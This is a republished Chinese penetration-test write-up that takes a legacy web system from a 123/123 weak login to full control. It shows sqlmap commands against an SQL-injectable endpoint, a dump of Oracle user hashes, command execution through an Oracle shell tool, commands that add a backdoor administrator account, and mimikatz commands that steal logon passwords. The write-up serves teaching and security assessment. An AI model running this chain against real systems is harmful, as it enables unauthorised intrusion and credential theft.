ICode9

精准搜索请尝试: 精确搜索
首页 > 系统相关> 文章详细

一次从弱口令到getshell

2022-01-12 17:03:50  阅读:245  来源: 互联网

标签:sqlmap getshell -- 数据库 口令 123 Oracle 从弱 com


0x01 弱口令

在一次针对某站点信息收集的过程中,通过子域名扫描,扫描到某个老旧系统。

1629098949_611a13c5e2023f68aa123.png!small?1629098952907

一看这都2014年的老站了,肯定有搞头!

日常使用burp爆破一波试试,没爆破出来

但是随手一试,好家伙123/123进入系统,属于是运气拉满了

(高强度打码)

1629099157_611a149547fda2b8e9964.png!small?1629099159494

这里能看到是一个“编辑”人员的权限,并没有什么上传等后台管理的功能,只能耐心过一遍系统的各种功能。

0x02 SQL注入

进入系统翻一翻,没有什么敏感信息泄露,但是在一处查询人员信息的接口发现了SQL注入(xray被动扫描扫出来的)

http://host.com/xxx/control/SearchMenHunInfo?content=123

这时想要手工验证一下,发现甚至不需要后台cookie就能直接访问该接口,相当于还存在未授权访问漏洞。

那这sqlmap一把梭,--cookie参数都不用加了

python sqlmap.py -u "http://host.com/xxx/control/SearchMenHunInfo?content=123" --current-db

1629100685_611a1a8d4ca7c7edef78d.png!small?1629100687369

这里跑出了库名,还能看到这是一个Oracle数据库。打算继续拿shell试试。

但是在我日常渗透过程中,Oracle数据库并不常见,sqlmap中--os-shell参数还是不支持Oracle数据库的,只能现学现卖一波。

0x03 getshell

首先参考了这篇文章  Oracle注入 - 命令执行&Shell反弹

1629101572_611a1e0406da1334227dd.png!small?1629101573386

文章中介绍到以下版本的Oracle在发现注入后可以命令执行

那么再用sqlmap查看一下Oracle版本

python sqlmap.py -u "http://host.com/xxx/control/SearchMenHunInfo?content=123" -b

1629101914_611a1f5a2cdcceb802e83.png!small?1629101915711

看来是符合可以命令执行的版本的!

又经历了一波漫长的学习,发现了github一个大佬已经集成好的工具 oracleShell oracle 数据库命令执行

工具截图如下

1629102386_611a2132b089bb783a905.png!small?1629102388399

可以看出,我们还需要知道数据库的SID,用户名,密码,就可以尝试执行命令。

那么就继续利用sqlmap来扩大我们已知信息。

查看数据库权限--is-dba

1629102568_611a21e8e65e1527c6a5a.png!small?1629102570531

查看数据库IP,SID

这里进入sqlmap的--sql-shell模式,用sql语句来查询

查询SID:select instance_name from v$instance

查询当前IP:select sys_context('userenv','ip_address') from dual

1629102806_611a22d69a7674a91543f.png!small?1629102808241

爆破所有数据库账号、密码

使用sqlmap的--passwords参数,跑出数据库的所用用户名和对应的密码

经过漫长的等待,终于有了结果(这里给出的是虚构的数据)

database management system users password hashes:
[*] ANONYMOUS [1]:
    password hash: anonymous
[*] HR [1]:
    password hash: 6399F3B38EDF3288
[*] SYS [1]:
    password hash: 4DE42795E66117AE
[*] SYSMAN [1]:
    password hash: B607EEBB3A2D36D0
[*] SYSTEM[1]:
    password hash: 8877FF8306EF558B
    clear-text password: SYS

可以看到有些用户名只得到了对应的哈希,但是其中一个用户名system成功跑出了明文密码!

查询Oracle常用端口

Oracle确实不熟悉,百度查一波端口:

查询发现,服务端默认的端口号一般是389,客户端默认的端口号一般都是1521

OK!现在已经拥有了IP,PORT,SID,用户名(SYSTEM),密码(SYS),可以直接使用工具连接了。

1629103630_611a260eddcad3e1ff238.png!small?1629103632329

一切顺利!取得了system权限!

0x04 进一步证明危害

创建个用户试试

net user name pwd /add

net localgroup Administrators name /add

远程桌面RDP连接 name/pwd

1629104189_611a283d93beace7f71e7.png!small?1629104197524

连接成功!

上传一个mimikatz,抓取管理员明文密码

privilege::debug

sekurlsa::logonPasswords

1629104190_611a283e48986590be6e9.png!small?1629104197526

最终成功登录Administrator账号RDP

1629104196_611a284403ee7334b6697.png!small?1629104197528

至此,渗透结束。

0x05 总结

弱口令->sql注入->getshell->拿下管理员权限

1.通过子域名扫描工具对目标域名进行扫描,发现存在一个人力资源管理系统

2.通过手动测试123/123弱口令进入系统

3.在后台的查询人员处存在SQL注入漏洞(xray被动扫描扫出来的)

4.通过sqlmap跑出当前数据库为oracle

python sqlmap.py -u "http://host.com/xxx/control/SearchMenHunInfo?content=123" --current-db

5.sqlmap中--os-shell参数是不支持Oracle数据库的,因此这里只能通过--os-sql来查找敏感信息

6.查询oracle版本,发现版本为10.2.1.0(oracle能执行命令的版本为8.1.7.4,9.2.01-9.2.0.7,10.1.0.2-10.1.0.4,10.2.0.1-10.2.0.2)

python sqlmap.py -u "http://host.com/xxx/control/SearchMenHunInfo?content=123" -b

7.查询数据库权限,是DBA权限

python sqlmap.py -u "http://host.com/xxx/control/SearchMenHunInfo?content=123" --is-dba

8.通过--os-sql来查找查看数据库IP,SID

select instance_name from v$instance   //查询SID

select sys_context('userenv','ip_address') from dual   //查询当前IP

9.通过sqlmap进行password dump出,用户名system成功跑出了明文密码

python sqlmap.py -u "http://host.com/xxx/control/SearchMenHunInfo?content=123"  --passwords

10.同时通过nmap扫描出数据库服务器IP开放了1521端口。

11.通过oracleshell工具远程连接数据库,并执行系统命令

12.在命令中添加用户名和密码并添加到管理员组,通过注册表开启远程桌面。

net user name pwd /add

net localgroup Administrators name /add

13.通过mimikatz读取到系统的密码

privilege::debug

sekurlsa::logonPasswords



原文链接: https://www.freebuf.com/articles/web/284911.html


标签:sqlmap,getshell,--,数据库,口令,123,Oracle,从弱,com
来源: https://www.cnblogs.com/backlion/p/15793314.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有